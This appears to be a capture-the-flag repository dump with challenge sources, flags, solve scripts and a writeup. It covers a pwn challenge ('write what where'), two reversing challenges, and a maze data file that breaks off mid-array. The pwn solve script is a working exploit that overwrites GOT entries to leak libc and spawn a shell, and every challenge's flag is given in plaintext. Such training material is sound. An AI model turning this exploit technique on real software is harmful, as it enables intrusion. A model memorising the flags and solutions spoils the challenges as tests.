./challenge/write-what-where /home/ctf/chal/pwn ================================================ FILE: pwn/write-what-where/README.md ================================================ # write what where **Category:** pwn **Difficulty:** easy **Author:** joseph#8210 You've got one write. What do you do? **Attached files:** - ./challenge/write-what-where (sha256: 42ae3215540a9942bddac157645ef3f4614fc404f88e34f093e7bf7f00084c8e) - ./challenge/libc.so.6 (sha256: 86ca990a4719b1d4ed8f56e9c6c373e33ad8a40a85fb262cc9ac94ab67feaed0) ================================================ FILE: pwn/write-what-where/challenge/flag.txt ================================================ DUCTF{arb1tr4ry_wr1t3_1s_str0ng_www} ================================================ FILE: pwn/write-what-where/challenge/write-what-where.c ================================================ #include #include #include void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int main() { init(); char where_buf[16]; long where; char what[4]; puts("write"); puts("what?"); read(0, what, 4); puts("where?"); read(0, where_buf, 9); where = atoi(where_buf); *(int*)where = *(int*)what; exit(0); } ================================================ FILE: pwn/write-what-where/challenge.yml ================================================ version: "0.1" id: write-what-where name: write what where category: pwn description: | You've got one write. What do you do? Author: joseph#8210 connection_info: nc ${host} ${port} tags: - easy files: - ./challenge/write-what-where - ./challenge/libc.so.6 flags: - DUCTF{arb1tr4ry_wr1t3_1s_str0ng_www} ================================================ FILE: pwn/write-what-where/solve/solve.py ================================================ from pwn import * libc = ELF('../challenge/libc.so.6') exe = ELF('../challenge/write-what-where') conn = remote('0.0.0.0', 1337) def www(what, where): conn.sendafter('what?\n', what) conn.sendlineafter('where?\n', where) # overwrite exit with main+33 to get infinite writes # while avoiding the call to init() www(p32(exe.symbols['main']+33), str(exe.got['exit'])) # replace stdin with puts got www(p32(exe.got['puts']), str(exe.symbols['stdin'])) www(p32(0), str(exe.symbols['stdin']+4)) # overwrite setvbuf with puts to get libc leak www(p32(exe.plt['puts']), str(exe.got['setvbuf'])) www(p32(0), str(exe.got['setvbuf'] + 4)) # overwrite exit with main to trigger the call to init() www(p32(exe.symbols['main']), str(exe.got['exit'])) # parse leak libc_leak = u64(conn.recvline()[:-1].ljust(8, b'\x00')) libc_base = libc_leak - 0x809d0 log.success('libc base: ' + hex(libc_base)) bin_sh = libc_base + 0x1abf05 system = libc_base + libc.symbols['system'] # overwrite exit with main+33 again to avoid init() www(p32(exe.symbols['main']+33), str(exe.got['exit'])) # replace stdin with pointer to /bin/sh string www(p64(bin_sh)[:4], str(exe.symbols['stdin'])) www(p64(bin_sh)[4:], str(exe.symbols['stdin']+4)) # overwrite setvbuf with system for the win www(p64(system)[:4], str(exe.got['setvbuf'])) www(p64(system)[4:], str(exe.got['setvbuf']+4)) # overwrite exit with main to trigger the call to init() www(p32(exe.symbols['main']), str(exe.got['exit'])) conn.interactive() ================================================ FILE: rev/bullet-hell/Dockerfile ================================================ FROM ubuntu:20.04 RUN apt-get update && apt-get install -y \ openssh-server \ && rm -rf /var/lib/apt/lists/* COPY ./challenge/ /home/ductf/ RUN chmod +x /home/ductf/bullet_hell RUN useradd -ms /home/ductf/bullet_hell ductf RUN echo "ductf:ductf" | chpasswd RUN mkdir /var/run/sshd RUN sed -i 's/#PasswordAuthentication/PasswordAuthentication/g' /etc/ssh/sshd_config RUN sed -i 's/#Port 22/Port 1337/g' /etc/ssh/sshd_config RUN chmod -x /etc/update-motd.d/* EXPOSE 1337 CMD ["/usr/sbin/sshd", "-D", "-e"] ================================================ FILE: rev/bullet-hell/README.md ================================================ # bullet hell **Category:** reversing **Difficulty:** medium-hard **Author:** joseph#8210 Can you survive in this land of illusions? ``` ssh ductf@0.0.0.0 -p 1337 ``` Password: `ductf` **Attached files:** - ./challenge/bullet_hell (sha256: fdbe8686b1f8b94149d717c8784b13163997bdad352c5c7b7235dbd3f1e15b1e) ================================================ FILE: rev/bullet-hell/challenge/bullet_hell.c ================================================ #include #include #include #include #define WIN_SCORE 1337 #define GAME_WIDTH 30 #define GAME_HEIGHT 40 #define WHEN_MORE_BULLETS 25 #define NUM_MORE_BULLETS 35 #define PLAYER_CHAR 'p' #define BULLET_CHAR 'x' typedef struct { int x, y; int dx, dy; } bullet_t; typedef struct { int player_x, player_y; int score; bullet_t** bullets; size_t bullets_len; } game_t; void generate_bullets(game_t* game_state) { bullet_t** bullets; // get current number of bullets int curr_num_bullets = game_state->bullets_len; if(game_state->bullets) { bullets = (bullet_t**) reallocarray(game_state->bullets, curr_num_bullets + NUM_MORE_BULLETS, sizeof(bullet_t*)); } else { bullets = (bullet_t**) calloc(2*NUM_MORE_BULLETS, sizeof(bullet_t*)); } int type = rand() % 4; if(type == 0) { // random barrage from above for(int i = 0; i < NUM_MORE_BULLETS; i++) { bullet_t* bullet = (bullet_t*) malloc(sizeof(bullet_t)); bullet->x = 1 + rand() % (GAME_WIDTH - 1); bullet->y = 1 + rand() % (GAME_HEIGHT/3); bullet->dx = 0; bullet->dy = 1; bullets[curr_num_bullets++] = bullet; } } else if(type == 1) { // barrage from left and right for(int i = 1 ; i < NUM_MORE_BULLETS; i++) { bullet_t* bullet = (bullet_t*) malloc(sizeof(bullet_t)); if(rand() % 2 == 0) { bullet->x = 1; bullet->dx = 1; } else { bullet->x = GAME_WIDTH - 1; bullet->dx = -1; } bullet->y = i; bullet->dy = 1; bullets[curr_num_bullets++] = bullet; } } else if(type == 2) { // barrage from above, except for one safe position int safe1 = 1 + rand() % (GAME_WIDTH - 1); int safe2 = 1 + rand() % (GAME_WIDTH - 1); for(int i = 1; i < GAME_WIDTH; i++) { if(i == safe1 || i == safe2) continue; bullet_t* bullet = (bullet_t*) malloc(sizeof(bullet_t)); bullet->x = i; bullet->y = 1; bullet->dx = 0; bullet->dy = 1; bullets[curr_num_bullets++] = bullet; } } else if(type == 3) { // circular blast from a few random points for(int j = 0; j < NUM_MORE_BULLETS / 8; j++) { int center_x = 1 + rand() % (GAME_WIDTH - 1); int center_y = 1 + rand() % (GAME_HEIGHT - 1); for(int i = 0; i < 8; i++) { bullet_t* bullet = (bullet_t*) malloc(sizeof(bullet_t)); bullet->x = center_x; bullet->y = center_y; switch(i) { case 0: bullet->dx = 1; bullet->dy = 0; break; case 1: bullet->dx = bullet->dy = 1; break; case 2: bullet->dx = 0; bullet->dy = 1; break; case 3: bullet->dx = -1; bullet->dy = 1; break; case 4: bullet->dx = -1; bullet->dy = 0; break; case 5: bullet->dx = bullet->dy = -1; break; case 6: bullet->dx = 0; bullet->dy = -1; break; case 7: bullet->dx = 1; bullet->dy = -1; break; } bullets[curr_num_bullets++] = bullet; } } } game_state->bullets = bullets; game_state->bullets_len = curr_num_bullets; } void die() { endwin(); puts("You lose :("); exit(1); } void win() { endwin(); FILE* fp = fopen("flag.txt", "r"); char flag[255]; fgets(flag, 255, fp); printf("%s", flag); exit(0); } void update_bullets(WINDOW* window, game_t* game_state) { int i = 0; if(!game_state->bullets) return; for(i = 0; i < game_state->bullets_len; i++) { bullet_t* bullet = game_state->bullets[i]; if(!bullet) continue; // print bullet // mvwinsch(window, bullet->y, bullet->x, BULLET_CHAR); // check for collision with player if(bullet->x == game_state->player_x && bullet->y == game_state->player_y) { die(); } // update bullet position bullet->x += bullet->dx; bullet->y += bullet->dy; // check if the bullet is out of the game if(bullet->x < 1 || bullet->x > GAME_WIDTH - 1 || bullet->y < 1 || bullet->y > GAME_HEIGHT - 1) { free(bullet); game_state->bullets[i] = NULL; } } // remove null bullets bullet_t** bullets = (bullet_t**) calloc(i, sizeof(bullet_t*)); int k = 0; for(int j = 0; j < i; j++) { if(game_state->bullets[j]) { bullets[k++] = game_state->bullets[j]; } } free(game_state->bullets); game_state->bullets = bullets; } int play() { game_t* game_state = (game_t*) malloc(sizeof(game_t)); game_state->player_x = GAME_WIDTH / 2; game_state->player_y = GAME_HEIGHT / 1.2; WINDOW* window = newwin(GAME_HEIGHT+1, GAME_WIDTH+1, 0, 0); box(window, 0, 0); wrefresh(window); timeout(1000); int clock = 0; while(1) { clock++; if(clock % WHEN_MORE_BULLETS == 0) { generate_bullets(game_state); } wclear(window); mvprintw(2, GAME_WIDTH + 2, "score: %d\n", game_state->score); update_bullets(window, game_state); mvwinsch(window, game_state->player_y, game_state->player_x, PLAYER_CHAR); box(window, 0, 0); move(0, 0); wrefresh(window); int inp = getch(); if(inp == 'h') { if(game_state->player_x > 1) { game_state->player_x--; } } else if(inp == 'j') { if(game_state->player_y < GAME_HEIGHT - 1) { game_state->player_y++; } } else if(inp == 'k') { if(game_state->player_y > 1) { game_state->player_y--; } } else if(inp == 'l') { if(game_state->player_x < GAME_WIDTH - 1) { game_state->player_x++; } } game_state->score++; if(game_state->score >= WIN_SCORE) { win(); } } } int main() { srand(0); initscr(); cbreak(); noecho(); keypad(stdscr, TRUE); printw("Enter a key to start...\n"); getch(); refresh(); play(); } ================================================ FILE: rev/bullet-hell/challenge/flag.txt ================================================ DUCTF{i_th1nk_w3're_g0nna_n33d_a_lunatic_d1fficul7y} ================================================ FILE: rev/bullet-hell/challenge.yml ================================================ version: "0.1" id: bullet-hell name: bullet hell category: reversing description: > Can you survive in this land of illusions? SSH password: `ductf` Author: joseph#8210 connection_info: ssh ductf@${host} -p ${port} tags: - medium files: - ./challenge/bullet_hell flags: - DUCTF{i_th1nk_w3're_g0nna_n33d_a_lunatic_d1fficul7y} ================================================ FILE: rev/bullet-hell/solve/solve.py ================================================ from blessed import Terminal from ctypes import * from time import sleep DIED = 0 WIN_SCORE = 1337 GAME_WIDTH = 30 GAME_HEIGHT = 40 WHEN_MORE_BULLETS = 25 NUM_MORE_BULLETS = 35 PLAYER_CHAR = 'p' BULLET_CHAR = 'x' def generate_bullets(game_state, rand): t = rand() % 4 if t == 0: for i in range(NUM_MORE_BULLETS): bullet_x = 1 + (rand() % (GAME_WIDTH - 1)) bullet_y = 1 + (rand() % (GAME_HEIGHT//3)) bullet_dx = 0 bullet_dy = 1 game_state['bullets'].append((bullet_x, bullet_y, bullet_dx, bullet_dy)) elif t == 1: for i in range(1, NUM_MORE_BULLETS): if rand() % 2 == 0: bullet_x = 1 bullet_dx = 1 else: bullet_x = GAME_WIDTH - 1 bullet_dx = -1 bullet_y = i bullet_dy = 1 game_state['bullets'].append((bullet_x, bullet_y, bullet_dx, bullet_dy)) elif t == 2: safe1 = 1 + rand() % (GAME_WIDTH - 1) safe2 = 1 + rand() % (GAME_WIDTH - 1) for i in range(1, GAME_WIDTH): if i in [safe1, safe2]: continue bullet_x = i bullet_y = 1 bullet_dx = 0 bullet_dy = 1 game_state['bullets'].append((bullet_x, bullet_y, bullet_dx, bullet_dy)) elif t == 3: for _ in range(NUM_MORE_BULLETS//8): center_x = 1 + rand() % (GAME_WIDTH - 1) center_y = 1 + rand() % (GAME_HEIGHT - 1) for i in range(8): bullet_dx = [1, 1, 0, -1, -1, -1, 0, 1][i] bullet_dy = [0, 1, 1, 1, 0, -1, -1, -1][i] game_state['bullets'].append((center_x, center_y, bullet_dx, bullet_dy)) def print_game(game_state, term): board = [list('+' + '-' * (GAME_WIDTH - 1) + '+')] for _ in range(GAME_HEIGHT): board.append(list('|' + ' ' * (GAME_WIDTH - 1) + '|')) board.append(list('+' + '-' * (GAME_WIDTH - 1) + '+')) board[game_state['player_y']][game_state['player_x']] = term.on_blue(PLAYER_CHAR) for bullet in game_state['bullets']: bullet_x, bullet_y, _, _ = bullet board[bullet_y][bullet_x] = term.on_orange(BULLET_CHAR) out = '\n'.join(''.join(r) for r in board) print(out) print(term.move(2, GAME_WIDTH + 5) + term.blue(f'score: {game_state["score"]}')) def update_bullets(game_state): for i in range(len(game_state['bullets'])): bullet_x, bullet_y, bullet_dx, bullet_dy = game_state['bullets'][i] if bullet_x == game_state['player_x'] and bullet_y == game_state['player_y']: return DIED bullet_x += bullet_dx bullet_y += bullet_dy game_state['bullets'][i] = (bullet_x, bullet_y, bullet_dx, bullet_dy) if bullet_x < 1 or bullet_x > GAME_WIDTH - 1 or bullet_y < 1 or bullet_y > GAME_HEIGHT - 1: game_state['bullets'][i] = None game_state['bullets'] = [b for b in game_state['bullets'] if b is not None] def simulate(rand, save_game): MOVES = '' game_state = { 'player_x': GAME_WIDTH // 2, 'player_y': int(GAME_HEIGHT / 1.2), 'score': 0, 'bullets': [] } clock = 0 term = Terminal() with term.cbreak(): while 1: clock += 1 if clock % WHEN_MORE_BULLETS == 0: generate_bullets(game_state, rand) print(term.home + term.clear, end='') died = update_bullets(game_state) if died == DIED: print('died! moves: ' + MOVES) return print_game(game_state, term) if clock - 1 < len(save_game): player_move = save_game[clock - 1] sleep(0.08) else: player_move = term.inkey(0.1) player_x = game_state['player_x'] player_y = game_state['player_y'] if player_move in ['h', 'a'] and 1 < player_x: game_state['player_x'] -= 1 elif player_move in ['j', 's'] and player_y < GAME_HEIGHT - 1: game_state['player_y'] += 1 elif player_move in ['k', 'w'] and 1 < player_y: game_state['player_y'] -= 1 elif player_move in ['l', 'd'] and player_x < GAME_WIDTH - 1: game_state['player_x'] += 1 else: player_move = 'x' # filler to skip time MOVES += player_move game_state['score'] += 1 if game_state['score'] >= WIN_SCORE: print('won! moves: ' + MOVES) return libc = CDLL('/lib/libc.so.6') libc.srand(0) saved_game = 'kjlhhkljhkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxkxxxxxjjxjxjxjxjxjxjxjxjxjxhxxhxxxxxxlxxxxkxxxjxxxxhxhxhxhxxlxlxxxlxlxxxlxxxxhxxhxlxlxhxxxhxkxxlxjxxxxhxxxjjklxxxlxkxlkxlxxxlxxxxlxlxlxlxlxlxjxjxjxjxjxlxxkxkxkxkxlxxxxhjxhxhxjxxhxkxhxhxxxxlxxxjxjxjxjxxhxhxxxxxxlxxxxxxxhxhxhxxlxxhxxxxlxxxxxxxxxxxxxxxxxxxxkxxlxxxxhxxxhxxxxxxxxxxxxxjxxlxxkhxjxxxhxxxxxxlxlxlxlxlxlxxxxxxxxxxxhxhxxhxxxxxxxxhxhxhxxxxxxxxhxhxxxkxkhxxxxxxxxxxxxxjxxxxxhxxxxxlxlxlxxxxjxxxxxxxlxlxxxxxxxxhxxlxxhxhxxxxxxxlxlxlxlxxxxxhxhxxhxxhxxxxxxkxxlxxxxlxxxkxjxlxxxlxxxlxlxlxlxxhxhxhxhxhxhxhxhxhxxxxxxxxxxxxxxxxxxkxkjxxxkxxxklkxkxlxlxlxlxlxlxlxlxlxlxkxkhjxjhxhjxhjxjhxlxlxlxlxxxxhxxxxjhxjhxxxxlxxxxxxlxxhxhxhxhxhxhxxxxxxjxxxxxxhxjjxkxkxkxkxkxkxxxlxlxlxlxxxxhxjxhjxxxxxxhxxhxhxxlxxhxhxxlxxxlxlxlxlxlxlxxxxxxxxxxxxxxxxxhxhxxxxxxxkxxxxxxxxxxxxxlxlxlxkxxxkxxxxxxxxxxxxxxlxxxxlxxxxlxxhxhxhxhxhxxxxxxjxxxkxxhxxxjxhxjhxxxxxxxkxkxxxlxxxxhxhxhlxxxxlllllllllllxxxxxxkxxxxkxxxkhjhxxjhxhjxjhxhjxhjxhjxjhxhjxhjxhxhxhxhxxxxxxxxxxxxxxhxhxhxxhxhxhxlxlxxlxlxxlxhxhxhxhxlxlxlxlxxlxxkxxxxxklxxxxlxhxxlxlxlxxxxlxlxxxhxxhxxxkxkxxxxkxxxxxxxlxlxlxlxxxhxhxhxhxxkxxhxxhxkxhxxxxxxxkxlxxxxxxxlxlxlxlxlxlxlxlxxxxxxjhxxxlxxxxxxxxxjxxjxxxxxjxxxxxhxxxhxxxhxhxxxxxhxxxxhjxxxxhxxxxxxxxhxxlxxxxxxxxjxxxxlxlxlxxhxxxhxxxxxxxxxhxhxhxhxhxhxhxhxxxhxxxxxxlxlxxxxlxxxlxxxxhxxxxxxxxxxxxxxxxlxxxlxxxxhxxxxxxxlxlxlxlxlxxxxxxxhxxxxxxxxxxxxxxxxxxxxhxhxxxlxxxxxxxxxxxhxhxxhxxlxxlxlxxjlxxxxhxxhxxxkxxlxlxjxjxjkxxxkxxxhxhxhxxlxxlxkxxxlxxxlxlxlxlxlxkxxlxxxxxxxxxhxxxkxlxlxlxlxxlxxxhxxxxhxhxhxhxhxhxhxhxhhhxhxxxxxxxxxlxkxkxhxxxxxxxkxjxjxjxjxxxhxkxkxkxxxxxxxxxxjxjlxjxxxxxxxlxxxxjxlxxlxxkxjxxxxxhxxxjxxhxxlkxklxxxljxxxxlxxxxxxxxkxkxxxxxxxxjxjxjxlxxkxkxkxkxxxxxxjxhxxxxxxhxhxhxhxhxxxlxxljxxxxxxlxlxlxkxkxkxkxhxxjhxxjhxhxxxxlxxjxjxxlxxkxkxxjxhxxxxxkxhxhxxhxkxlxjxxljxlxxxxhxhxhxhxlxlxxljxxxxxxxkxkxhxhxhxxxxlxlxjxlxkxxxxxhxxjxxxklxxxlxjxjxjxxxxlxxkxkxkxxhxhxhxhxxxjxljxlxlxxxxkxkxhxjjxjxlxxkxxxxxxxkhxhxxxxxkxxxxxxxlxxxxhxhxxxkxxkxkxxjlxlxjxlxxxlxlxkxxxkxkxkxjxjxjxjxjxxlxlxlxlxlxlxxxxxkhxjxhjxhxxlxlxxxxxxlxxxhxxxxxxxxjxxxxlxxxxxxxkxhxxhxhxhxxxhxxlxxxxkxxxxlxhxjxhxjxhxhxhxhxhxhxhxxxxxxxxjxlxhxhxhxhxhxhxxxxxxxxxxxxlxxlxlxxxxxxxxxxxlxxxxxlxlxlxxxxxxxxxxxlxxxxhxhxxxlxlxxxhxhxhxhxxxlxlxlxlxlxxxxkxkxxkhxxjxxxlxxlxxxxxxxhxhxhxhxxxxxxxxxxxxxxlxjxxxxxhxxxxxhxhxxxlxlxlxxxxxlxkhxhxhxhxxlxlxlxlxxxxxxlxlxxxxxxxhxhxhxlxlxxjxxxxkxxhxhxhxhxxxxlxlxlxlxxljxjxlxlxlxlxxxlxxxxxxxxxxjxjxlxxlxxxlxxxhxhxhxhxhxxlxlxlxlxklkkxxxlkhxhxhxxxxxxxhxxxxxxlxkhxhjxhjxhxxxkhxxxxxxxxxhxjxxxjxxhxxxxhxhxhxlxlxlxxkxxxxxxxxxlxxlxlxxlxlxxlxxxhxxxxxxhxhxxjxxkxhxjxxhxjxxkxhxxlxlxlxlxlxlxlxlxlxxl' # saved_game = '' simulate(libc.rand, saved_game) ================================================ FILE: rev/bullet-hell/solve/writeup.md ================================================ # Challenge Overview We are given a machine to SSH into and a binary. The binary runs as our shell when we SSH into the machine. It looks like some kind of game where our character is denoted by `p` and we can move it around with `hjkl`. We have a score at the top right as well. If the player is familiar with bullet hell games (or used Google to learn what it is) they might have noticed something strange; there are no bullets! It turns out that there are, it's just that they are invisible. The goal of the challenge will be to be reach a certain score, but to do that, you'll need to be able to avoid the bullets, and to do that, you'll need to know where the bullets are. As we'll see, the bullets are deterministically generated and the entire game can be simulated and solved offline to figure out a winning sequence of moves which we can then copy and paste into the remote server to get the flag. ## Reversing The binary is relatively easy to understand with Ghidra or IDA's decompilation. It isn't stripped so there are function names which make it easier to navigate through the binary and understand what functions do what. A lot of the code is just ncurses functions which can be safely ignored. The `play` function looks like this: ```C void play(void) { int iVar1; int *game_state; undefined8 window; undefined8 uVar2; int iStack32; game_state = (int *)malloc(0x20); *game_state = 0xf; game_state[1] = 0x21; uVar2 = 0x101a38; window = newwin(0x29,0x1f,0,0); wborder(window,0,0,0,0,0,0,0,0,uVar2); wrefresh(window); wtimeout(stdscr); iStack32 = 0; do { iStack32 = iStack32 + 1; if (iStack32 % 0x19 == 0) { generate_bullets(game_state); } wclear(window); mvprintw(2,0x20,"score: %d\n",game_state[2]); update_bullets(window,game_state); uVar2 = 0x101b3e; iVar1 = wmove(window,game_state[1],*game_state); if (iVar1 != -1) { uVar2 = 0x101b54; winsch(window,0x70); } wborder(window,0,0,0,0,0,0,0,0,uVar2); wmove(stdscr,0,0); wrefresh(window); iVar1 = wgetch(stdscr); if (iVar1 == 0x68) { if (1 < *game_state) { *game_state = *game_state + -1; } } else { if (iVar1 == 0x6a) { if (game_state[1] < 0x27) { game_state[1] = game_state[1] + 1; } } else { if (iVar1 == 0x6b) { if (1 < game_state[1]) { game_state[1] = game_state[1] + -1; } } else { if ((iVar1 == 0x6c) && (*game_state < 0x1d)) { *game_state = *game_state + 1; } } } } game_state[2] = game_state[2] + 1; if (0x538 < game_state[2]) { win(); } } while( true ); } ``` We assume the chunk of 32 byte memory allocated at the start holds the game state since it is used in almost every branch of execution. Observing its use even further, we can see that the first two fields of the game state struct are integers that hold the player's current x and y positions. Towards the end of the `play` function, we see an if-block that calls the `win` function if `game_state[2]` is greater than 1336. In each iteration of the while loop, this value is also incremented. We conclude that this holds our score, and to get the flag we'll need to get a score of 1337. ## Bullet Generation The important part of the binary is how it generates the bullets. There is a very suspiciously named function `generate_bullets` which sounds like it might be responsible for that: ```C void generate_bullets(long game_state) { int r; uint s; int r2; int *bullet; undefined4 *bullet2; uint r_; int num_bullets; int i; int j; int k; int l; int ii; void *bullets; num_bullets = (int)*(undefined8 *)(game_state + 0x18); if (*(long *)(game_state + 0x10) == 0) { bullets = calloc(0x46,8); } else { bullets = (void *)reallocarray(*(undefined8 *)(game_state + 0x10),(long)(num_bullets + 0x23),8); } r = rand(); r_ = (uint)(r >> 0x1f) >> 0x1e; s = r + r_ & 3; r = s - r_; if (s == r_) { for (i = 0; i < 0x23; i = i + 1) { bullet = (int *)malloc(0x10); r = rand(); *bullet = r % 0x1d + 1; r = rand(); bullet[1] = r % 0xd + 1; bullet[2] = 0; bullet[3] = 1; *(int **)((long)num_bullets * 8 + (long)bullets) = bullet; num_bullets = num_bullets + 1; } } else { if (r == 1) { for (j = 1; j < 0x23; j = j + 1) { bullet2 = (undefined4 *)malloc(0x10); s = rand(); if ((s & 1) == 0) { *bullet2 = 1; bullet2[2] = 1; } else { *bullet2 = 0x1d; bullet2[2] = 0xffffffff; } bullet2[1] = j; bullet2[3] = 1; *(undefined4 **)((long)num_bullets * 8 + (long)bullets) = bullet2; num_bullets = num_bullets + 1; } } else { if (r == 2) { r = rand(); r2 = rand(); for (k = 1; k < 0x1e; k = k + 1) { if ((k != r % 0x1d + 1) && (k != r2 % 0x1d + 1)) { bullet = (int *)malloc(0x10); *bullet = k; bullet[1] = 1; bullet[2] = 0; bullet[3] = 1; *(int **)((long)num_bullets * 8 + (long)bullets) = bullet; num_bullets = num_bullets + 1; } } } else { if (r == 3) { for (l = 0; l < 4; l = l + 1) { r = rand(); r2 = rand(); for (ii = 0; ii < 8; ii = ii + 1) { bullet = (int *)malloc(0x10); *bullet = r % 0x1d + 1; bullet[1] = r2 % 0x27 + 1; switch(ii) { case 0: bullet[2] = 1; bullet[3] = 0; break; case 1: bullet[3] = 1; bullet[2] = bullet[3]; break; case 2: bullet[2] = 0; bullet[3] = 1; break; case 3: bullet[2] = -1; bullet[3] = 1; break; case 4: bullet[2] = -1; bullet[3] = 0; break; case 5: bullet[3] = -1; bullet[2] = bullet[3]; break; case 6: bullet[2] = 0; bullet[3] = -1; break; case 7: bullet[2] = 1; bullet[3] = -1; } *(int **)((long)num_bullets * 8 + (long)bullets) = bullet; num_bullets = num_bullets + 1; } } } } } } *(void **)(game_state + 0x10) = bullets; *(long *)(game_state + 0x18) = (long)num_bullets; return; } ``` Looking through the if-else blocks, we can see that there are a few different logics for generating bullets. A common thing we see is a 16 byte chunk being allocated. `bullet[2]` and `bullet[3]` always contain small values like `-1`, `0`, `1` while `bullet[0]` and `bullet[1]` contain larger values between `1` and `30`, and `1` and `40`. The bullet struct looks something like ```C struct bullet { int x, y; int dx, dy; }; ``` so this gives us an idea of where the bullets start, and where they move towards (this can also be confirmed by looking at the `update_bullets` function which uses these values as we expect). Most importantly, we note that these values are all decided by `rand` which is a libc function that provides "random" numbers. These numbers are not truly random however, and if the randomness was seeded by a predictable seed, we can easily predict what the random numbers will be. At the very start of the `main` function, we see a call to `srand(0)`, so the seed is a known fixed value! Since we know the seed, we can easily simulate the random number generation and hence the bullet generation. ## Winning the Game To ensure our simulation is in sync with the server's, we need to be careful and make sure to call `rand` whenever the binary does. We can find all references to `rand` to help with this. Since we are only interested in finding a sequence of winning moves, we can modify things like how fast things move, etc. to give us an easier time winning the game if we decide to play it manually. There isn't much left to do other than carefully implementing the generation logic and maybe an interface to play the game. Since the win score is only 1337 and you get one point every move you make, it's very reasonable to play the game manually and record the sequence of moves you made. Hopefully it's a satisfying result :) # Playthrough Video Here is a recording of me manually playing the game and reaching a score of 1337. The solve script which simulates the game records the input keys and prints it at the end, so to get the flag on the remote server, you can copy and paste this string to instantly simulate the moves. ![playthrough.gif](./playthrough.gif) If bullet hell games aren't your thing, check out this [amazing alternative solution](https://gist.github.com/uint0/f357856d4f386dd5233daa7408b0f01a) by a reviewer which implements an agent to win the game dynamically. ================================================ FILE: rev/connect-the-dots/README.md ================================================ # connect the dots **Category:** reversing **Difficulty:** medium **Author:** joseph#8210 Can you see the forest for the trees? **Attached files:** - ./challenge/connect_the_dots (sha256: 92768c1d3bdae369559960ad1507f7d540660d3335b1868f2485ae054e13fcd5) ================================================ FILE: rev/connect-the-dots/challenge/connect_the_dots.c ================================================ #include #include #include #include "maze_data.h" void die() { puts("no :<"); exit(-1); } int find(int* arr, int n, int x) { for(int i = 0; i < n; i++) { if(*(arr+i) == x) { return i; } } return -1; } int run(char* moves) { char c; int has_wall, is_dot; int win_bits = 0; int cur_pos = 0; int dots_eaten[8] = { -1, -1, -1, -1, -1, -1, -1, -1 }; int num_dots_eaten = 0; while(*moves) { switch(*moves++) { case 'h': has_wall = MAZE_DATA[cur_pos] & 1; if(has_wall) die(); cur_pos -= 1; break; case 'l': has_wall = MAZE_DATA[cur_pos] & 4; if(has_wall) die(); cur_pos += 1; break; case 'j': has_wall = MAZE_DATA[cur_pos] & 2; if(has_wall) die(); cur_pos += MAZE_WIDTH; break; case 'k': has_wall = MAZE_DATA[cur_pos] & 8; if(has_wall) die(); cur_pos -= MAZE_WIDTH; break; case 'x': is_dot = MAZE_DATA[cur_pos] & 128; if(!is_dot) die(); int dot_idx = (MAZE_DATA[cur_pos] >> 4) & 7; int exists = find(dots_eaten, 8, dot_idx); if(exists >= 0) die(); dots_eaten[num_dots_eaten++] = dot_idx; win_bits &= DOTS_DATA[dot_idx] >> 8; win_bits ^= DOTS_DATA[dot_idx] & 0xff; if(num_dots_eaten == 8) { if(win_bits == 0xff) { return 1; } else { die(); } } break; default: die(); } } die(); return 0; } char CT[44] = {184, 64, 13, 26, 252, 53, 44, 60, 181, 51, 222, 15, 102, 86, 225, 60, 179, 244, 161, 3, 99, 198, 139, 217, 105, 244, 215, 157, 161, 163, 216, 244, 48, 247, 150, 164, 240, 237, 200, 234, 153, 108, 162, 113}; int main() { char moves[3568]; int n = read(0, moves, 3567); moves[n-1] = '\0'; run(moves); puts("yes :>"); for(int i = 0; i < 44; i++) { int k = 1; for(int j = 0; j < 81; j++) { k *= moves[i*81 + j]; k %= 0xff; } printf("%c", k ^ CT[i]); } puts(""); return 0; } ================================================ FILE: rev/connect-the-dots/challenge/flag.txt ================================================ DUCTF{bfs_dfs_ffs_no_more_mazes_a8fb66c12cd} ================================================ FILE: rev/connect-the-dots/challenge/maze_data.h ================================================ #define MAZE_WIDTH 60 #define MAZE_HEIGHT 60 int DOTS_DATA[8] = {65407, 60999, 31620, 5074, 27425, 53858, 20942, 3721}; int MAZE_DATA[MAZE_WIDTH*MAZE_HEIGHT] = {11, 10, 12, 9, 10, 10, 8, 8, 10, 14, 9, 8, 10, 10, 12, 11, 8, 10, 12, 9, 10, 12, 9, 10, 10, 10, 12, 11, 10, 10, 10, 8, 12, 9, 8, 14, 9, 10, 12, 9, 8, 12, 11, 10, 10, 10, 8, 12, 11, 8, 10, 10, 8, 14, 9, 12, 9, 8, 12, 13, 13, 9, 6, 5, 9, 12, 5, 7, 9, 12, 5, 5, 9, 12, 3, 10, 6, 9, 6, 5, 9, 6, 3, 12, 9, 14, 3, 10, 10, 10, 12, 7, 1, 6, 3, 12, 3, 12, 5, 5, 5, 3, 10, 10, 10, 10, 6, 3, 12, 5, 9, 12, 7, 9, 6, 5, 5, 5, 3, 4, 5, 5, 11, 2, 6, 5, 3, 10, 6, 5, 5, 3, 6, 3, 10, 10, 12, 5, 9, 6, 3, 12, 9, 6, 1, 10, 10, 10, 8, 14, 3, 12, 3, 12, 13, 5, 9, 6, 3, 6, 5, 9, 10, 10, 10, 10, 12, 9, 6, 5, 5, 3, 10, 2, 12, 3, 6, 5, 9, 6, 5, 3, 12, 11, 12, 1, 14, 9, 12, 3, 6, 9, 12, 9, 10, 12, 5, 3, 6, 13, 9, 6, 5, 11, 2, 10, 12, 13, 3, 10, 10, 6, 11, 2, 6, 5, 3, 10, 12, 9, 6, 5, 11, 12, 9, 10, 6, 5, 11, 0, 2, 14, 9, 12, 3, 10, 14, 5, 5, 13, 1, 12, 3, 12, 3, 6, 9, 6, 3, 10, 12, 5, 3, 6, 13, 3, 6, 9, 10, 6, 5, 11, 2, 10, 12, 13, 3, 2, 10, 10, 12, 9, 10, 10, 12, 3, 8, 10, 6, 3, 12, 3, 8, 6, 3, 10, 12, 3, 12, 5, 9, 10, 6, 3, 10, 10, 10, 6, 5, 5, 5, 3, 12, 3, 10, 12, 3, 12, 9, 10, 6, 1, 12, 11, 2, 8, 12, 1, 10, 12, 3, 12, 9, 10, 6, 5, 9, 8, 8, 14, 5, 1, 10, 12, 3, 12, 3, 10, 12, 13, 5, 9, 6, 9, 10, 12, 1, 12, 5, 7, 5, 9, 14, 9, 8, 14, 9, 10, 6, 5, 1, 12, 3, 10, 12, 5, 9, 6, 3, 12, 11, 6, 5, 9, 12, 7, 1, 6, 9, 6, 9, 6, 5, 9, 14, 1, 6, 5, 5, 9, 6, 3, 12, 3, 12, 5, 11, 10, 2, 4, 5, 3, 